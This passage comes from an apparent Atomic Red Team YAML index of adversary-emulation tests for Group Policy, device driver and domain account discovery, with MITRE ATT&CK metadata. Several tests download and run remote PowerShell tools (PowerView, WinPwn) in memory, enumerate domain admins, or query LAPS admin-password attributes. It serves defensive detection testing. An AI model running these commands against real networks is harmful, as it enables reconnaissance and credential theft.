        Uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information for a remote user and computer
        The /z parameter displays all available information about Group Policy. More parameters can be found in the linked Microsoft documentation
        https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult
        https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/
        Turla has used the /z and /v parameters: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: false
        command: 'gpresult /z

          '
    - name: Get-DomainGPO to display group policy information via PowerView
      auto_generated_guid: 4e524c4e-0e02-49aa-8df5-93f3f7959b9f
      description: Use PowerView to Get-DomainGPO This will only work on Windows 10
        Enterprise and A DC Windows 2019.
      supported_platforms:
      - windows
      executor:
        command: powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1');
          Get-DomainGPO"
        name: powershell
        elevation_required: true
    - name: WinPwn - GPOAudit
      auto_generated_guid: bc25c04b-841e-4965-855f-d1f645d7ab73
      description: Check domain Group policies for common misconfigurations using
        Grouper2 via GPOAudit function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          GPOAudit -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - GPORemoteAccessPolicy
      auto_generated_guid: 7230d01a-0a72-4bd5-9d7f-c6d472bc6a59
      description: Enumerate remote access policies through group policy using GPORemoteAccessPolicy
        function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          GPORemoteAccessPolicy -consoleoutput -noninteractive
        name: powershell
    - name: MSFT Get-GPO Cmdlet
      auto_generated_guid: 52778a8f-a10b-41a4-9eae-52ddb74072bf
      description: 'The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the
        GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer
        joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps'
      supported_platforms:
      - windows
      input_arguments:
        gpo_output:
          description: The output of the Get-GPO cmdlet
          type: string
          default: "$env:temp\\GPO_Output.txt"
        gpo_param:
          description: You can specify a GPO by its display name or by its globally
            unique identifier (GUID) to get a single GPO, or you can get all the GPOs
            in the domain through the All parameter
          type: string
          default: "-All"
      dependency_executor_name: powershell
      dependencies:
      - description: Add Rsat.ActiveDirectory.DS
        prereq_command: if(Get-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0
          | Where-Object { $_.State -eq 'Installed' }){ exit 0 } else { exit 1 }
        get_prereq_command: Add-WindowsCapability -online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0
      - description: 'Add Rsat.GroupPolicy.Management.Tools ###Two RSAT Modules needed
          for this to work on Win10, WinServer 2019 works by default. This will take
          a long time (almost 2 minutes) to install RSAT Manually###.'
        prereq_command: if(Get-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0
          | Where-Object { $_.State -eq 'Installed' }){ exit 0 } else { exit 1 }
        get_prereq_command: Add-WindowsCapability -online -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0
      executor:
        command: 'Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}'
        cleanup_command: del $env:temp\GPO_Output.txt -erroraction silentlycontinue
        name: powershell
        elevation_required: true
  T1652:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Device Driver Discovery
      description: |-
        Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).

        Many OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)

        On Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - ESET
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Access'
      type: attack-pattern
      id: attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d
      created: '2023-03-28T20:14:49.087Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1652
        external_id: T1652
      - source_name: lsmod man
        description: Kerrisk, M. (2022, December 18). lsmod(8) — Linux manual page.
          Retrieved March 28, 2023.
        url: https://man7.org/linux/man-pages/man8/lsmod.8.html
      - source_name: Microsoft Registry Drivers
        description: Microsoft. (2021, December 14). Registry Trees for Devices and
          Drivers. Retrieved March 28, 2023.
        url: https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys
      - source_name: Microsoft EnumDeviceDrivers
        description: Microsoft. (2021, October 12). EnumDeviceDrivers function (psapi.h).
          Retrieved March 28, 2023.
        url: https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers
      - source_name: Microsoft Driverquery
        description: Microsoft. (n.d.). driverquery. Retrieved March 28, 2023.
        url: https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery
      - source_name: Linux Kernel Programming
        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
          Module Programming Guide. Retrieved April 6, 2018.
        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
      - source_name: modinfo man
        description: Russell, R. (n.d.). modinfo(8) - Linux man page. Retrieved March
          28, 2023.
        url: https://linux.die.net/man/8/modinfo
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1652
    atomic_tests:
    - name: Device Driver Discovery
      auto_generated_guid: 235b30a2-e5b1-441f-9705-be6231c88ddd
      description: "Displays a list of installed device drivers on the local computer
        and their properties. Threat actors use this command to enumerate the existing
        drivers on the computer. \nParameters: \n/v /fo list - Displays verbose output
        in a list format - the /v parameter is not valid for signed drivers\n/si /fo
        list - Provides information about signed drivers and outputs it in a list
        format\n"
      supported_platforms:
      - windows
      executor:
        command: |
          driverquery /v /fo list
          driverquery /si /fo list
        cleanup_command: 
        name: powershell
        elevation_required: false
  T1087.002:
    technique:
      modified: '2024-04-15T21:33:57.732Z'
      name: 'Account Discovery: Domain Account'
      description: "Adversaries may attempt to get a listing of domain accounts. This
        information can help adversaries determine which domain accounts exist to
        aid in follow-on behavior such as targeting specific accounts which possess
        particular privileges.\n\nCommands such as <code>net user /domain</code> and
        <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039)
        utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code>
        on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code>
        may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle
        January 2022)  "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - ExtraHop
      - Miriam Wiesner, @miriamxyra, Microsoft Security
      x_mitre_deprecated: false
      x_mitre_detection: |
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'Network Traffic: Network Traffic Content'
      - 'Group: Group Enumeration'
      type: attack-pattern
      id: attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af
      created: '2020-02-21T21:08:26.480Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1087/002
        external_id: T1087.002
      - source_name: CrowdStrike StellarParticle January 2022
        description: 'CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole:
          Observations from the StellarParticle Campaign. Retrieved February 7, 2022.'
        url: https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1087.002
    atomic_tests:
    - name: Enumerate all accounts (Domain)
      auto_generated_guid: 6fbc9e68-5ad7-444a-bd11-8bf3136c477e
      description: |
        Enumerate all accounts
        Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
      supported_platforms:
      - windows
      executor:
        command: |
          net user /domain
          net group /domain
        name: command_prompt
    - name: Enumerate all accounts via PowerShell (Domain)
      auto_generated_guid: 8b8a6449-be98-4f42-afd2-dedddc7453b2
      description: 'Enumerate all accounts via PowerShell. Upon execution, lots of
        user account and group information will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          net user /domain
          get-localgroupmember -group Users
          get-aduser -filter *
        name: powershell
    - name: Enumerate logged on users via CMD (Domain)
      auto_generated_guid: 161dcd85-d014-4f5e-900c-d3eaae82a0f7
      description: 'Enumerate logged on users. Upon exeuction, logged on users will
        be displayed.

        '
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: Name of remote system to query
          type: string
          default: "%COMPUTERNAME%"
      executor:
        command: 'query user /SERVER:#{computer_name}

          '
        name: command_prompt
    - name: Automated AD Recon (ADRecon)
      auto_generated_guid: 95018438-454a-468c-a0fa-59c800149b59
      description: |
        ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
        path will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        adrecon_path:
          description: Path of ADRecon.ps1 file
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\ADRecon.ps1
      dependency_executor_name: powershell
      dependencies:
      - description: 'ADRecon must exist on disk at specified location (#{adrecon_path})

          '
        prereq_command: 'if (Test-Path "#{adrecon_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -Uri "https://raw.githubusercontent.com/sense-of-security/ADRecon/38e4abae3e26d0fa87281c1d0c65cabd4d3c6ebd/ADRecon.ps1" -OutFile "#{adrecon_path}"
      executor:
        command: 'Invoke-Expression "#{adrecon_path}"

          '
        cleanup_command: 'Get-ChildItem "PathToAtomicsFolder\..\ExternalPayloads"
          -Recurse -Force | Where{$_.Name -Match "^ADRecon-Report-"} | Remove-Item
          -Force -Recurse

          '
        name: powershell
    - name: Adfind -Listing password policy
      auto_generated_guid: 736b4f53-f400-4c22-855d-1a6b5a551600
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.
        reference- http://www.joeware.net/freetools/tools/adfind/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args}
          -default -s base lockoutduration lockoutthreshold lockoutobservationwindow
          maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties

          '
        name: command_prompt
    - name: Adfind - Enumerate Active Directory Admins
      auto_generated_guid: b95fd967-4e62-4109-b48d-265edfd28c3a
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts
        reference- http://www.joeware.net/freetools/tools/adfind/, https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp
          #{optional_args}

          '
        name: command_prompt
    - name: Adfind - Enumerate Active Directory User Objects
      auto_generated_guid: e1ec8d20-509a-4b9a-b820-06c9b2da8eb7
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person)
          #{optional_args}

          '
        name: command_prompt
    - name: Adfind - Enumerate Active Directory Exchange AD Objects
      auto_generated_guid: 5e2938fb-f919-47b6-8b29-2f6a1f718e99
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses
          #{optional_args}

          '
        name: command_prompt
    - name: Enumerate Default Domain Admin Details (Domain)
      auto_generated_guid: c70ab9fd-19e2-4e02-a83c-9cfa8eaa8fef
      description: 'This test will enumerate the details of the built-in domain admin
        account

        '
      supported_platforms:
      - windows
      executor:
        command: 'net user administrator /domain

          '
        name: command_prompt
    - name: Enumerate Active Directory for Unconstrained Delegation
      auto_generated_guid: 46f8dbe9-22a5-4770-8513-66119c5be63b
      description: |
        Attackers may attempt to query for computer objects with the UserAccountControl property
        'TRUSTED_FOR_DELEGATION' (0x80000;524288) set
        More Information - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce
        Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Domain FQDN
          type: string
          default: "$env:UserDnsDomain"
        uac_prop:
          description: UAC Property to search
          type: integer
          default: 524288
      dependencies:
      - description: 'PowerShell ActiveDirectory Module must be installed

          '
        prereq_command: |
          Try {
              Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
              exit 0
          }
          Catch {
              exit 1
          }
        get_prereq_command: |
          if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
            Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
          } else {
            Install-WindowsFeature RSAT-AD-PowerShell
          }
      executor:
        name: powershell
        elevation_required: false
        command: 'Get-ADObject -LDAPFilter ''(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})''
          -Server #{domain}

          '
    - name: Get-DomainUser with PowerView
      auto_generated_guid: 93662494-5ed7-4454-a04c-8c8372808ac2
      description: 'Utilizing PowerView, run Get-DomainUser to identify the domain
        users. Upon execution, Users within the domain will be listed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
        name: powershell
    - name: Enumerate Active Directory Users with ADSISearcher
      auto_generated_guid: 02e8be5a-3065-4e54-8cc8-a14d138834d3
      description: |
        The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory.
        Upon successful execution a listing of users will output with their paths in AD.
        Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: '([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()

          '
    - name: Enumerate Linked Policies In ADSISearcher Discovery
      auto_generated_guid: 7ab0205a-34e4-4a44-9b04-e1541d1a57be
      description: |
        The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory.
        Upon successful execution a listing of users will output with their paths in AD.
        Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: '(([adsisearcher]''(objectcategory=organizationalunit)'').FindAll()).Path
          | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink)
          -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host
          "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host
          "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName}
          };Write-Output "`n" }}

          '
    - name: Enumerate Root Domain linked policies Discovery
      auto_generated_guid: 00c652e2-0750-4ca6-82ff-0204684a6fe4
      description: |
        The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory.
        Upon successful execution a listing of users will output with their paths in AD.
        Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: '(([adsisearcher]'''').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host
          "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]"
          -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy
          Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host
          "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName}
          };Write-Output "`n" }}

          '
    - name: WinPwn - generaldomaininfo
      auto_generated_guid: ce483c35-c74b-45a7-a670-631d1e69db3d
      description: Gathers general domain information using the generaldomaininfo
        function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          generaldomaininfo -noninteractive -consoleoutput
        name: powershell
    - name: Kerbrute - userenum
      auto_generated_guid: f450461c-18d1-4452-9f0d-2c42c3f08624
      description: Enumerates active directory usernames using the userenum function
        of Kerbrute
      supported_platforms:
      - windows
      input_arguments:
        Domain:
          description: Domain that is being tested against
          type: string
          default: "$env:USERDOMAIN"
        DomainController:
          description: Domain Controller that is being tested against
          type: string
          default: "$env:UserDnsDomain"
      dependency_executor_name: powershell
      dependencies:
      - description: 'kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads.

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"
      - description: 'username text file must exist in PathToAtomicsFolder\..\ExternalPayloads.

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\username.txt"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1087.002/src/username.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
      executor:
        command: |-
          cd "PathToAtomicsFolder\..\ExternalPayloads"
          .\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
        name: powershell
    - name: Wevtutil - Discover NTLM Users Remote
      auto_generated_guid: b8a563d4-a836-4993-a74e-0a19b8481bfe
      description: "This test discovers users who have authenticated against a Domain
        Controller via NTLM. \nThis is done remotely via wmic and captures the event
        code 4776 from the domain controller and stores the ouput in C:\\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)\n"
      supported_platforms:
      - windows
      executor:
        command: |-
          $target = $env:LOGONSERVER
          $target = $target.Trim("\\")
          $IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
          wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
        cleanup_command: 'Remove-Item -Path \\$IpAddress\c$\ntlmusers.evtx

          '
        name: powershell
    - name: Suspicious LAPS Attributes Query with Get-ADComputer all properties
      auto_generated_guid: 394012d9-2164-4d4f-b9e5-acf30ba933fe
      description: This test executes LDAP query using powershell command Get-ADComputer
        and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd
        and ms-mcs-AdmPwdExpirationTime
      supported_platforms:
      - windows
      input_arguments:
        hostname:
          description: Name of the host
          type: string
          default: "$env:computername"
      executor:
        command: 'Get-ADComputer #{hostname} -Properties *'
        cleanup_command: 
        name: powershell
        elevation_required: false
    - name: Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property
      auto_generated_guid: 6e85bdf9-7bc4-4259-ac0f-f0cb39964443
      description: This test executes LDAP query using powershell command Get-ADComputer
        and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
      supported_platforms:
      - windows
      input_arguments:
        hostname:
          description: Name of the host
          type: string
          default: "$env:computername"
      executor:
        command: 'Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime'
        cleanup_command: 
        name: powershell
        elevation_required: false
    - name: Suspicious LAPS Attributes Query with Get-ADComputer all properties and
        SearchScope
      auto_generated_guid: ffbcfd62-15d6-4989-a21a-80bfc8e58bb5
      description: This test executes LDAP query using powershell command Get-ADComputer
        with SearchScope as subtree and lists all the properties including Microsoft
        LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
      supported_platforms:
      - windows
      executor:
        command: Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties
          *
        cleanup_command: 
        name: powershell
        elevation_required: false
    - name: Suspicious LAPS Attributes Query with adfind all properties
      auto_generated_guid: abf00f6c-9983-4d9a-afbc-6b1c6c6448e1
      description: This test executes LDAP query using adfind command and lists all
        the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
        domain:
          description: Domain of the host
          type: string
          default: "$env:USERDOMAIN"
      executor:
        command: '& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args}
          -h #{domain} -s subtree -f "objectclass=computer" *

          '
        cleanup_command: 
        name: powershell
        elevation_required: false
    - name: Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd
      auto_generated_guid: 51a98f96-0269-4e09-a10f-e307779a8b05
      description: This test executes LDAP query using adfind command and lists Microsoft
        LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
        domain:
          description: Domain of the host
          type: string
          default: "$env:USERDOMAIN"
      executor:
        command: '& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args}
          -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

          '
        cleanup_command: 
        name: powershell
        elevation_required: false
    - name: Active Directory Domain Search
      auto_generated_guid: '096b6d2a-b63f-4100-8fa0-525da4cd25ca'
      description: 'Output information from LDAPSearch. LDAP Password is the admin-user
        password on Active Directory

        '
      supported_platforms:
      - linux
      input_arguments:
        domain:
          description: The domain to be tested
          type: string
          default: example
        top_level_domain:
          description: The top level domain (.com, .test, .remote, etc... following
            domain, minus the .)
          type: string
          default: test
        user:
          description: username@domain of a user within the ad database
          type: string
          default: user@example.test
        password:
          description: password of the user with admin privileges referenced in admin_user
          type: string
          default: s3CurePssw0rD!
      dependency_executor_name: sh
      dependencies:
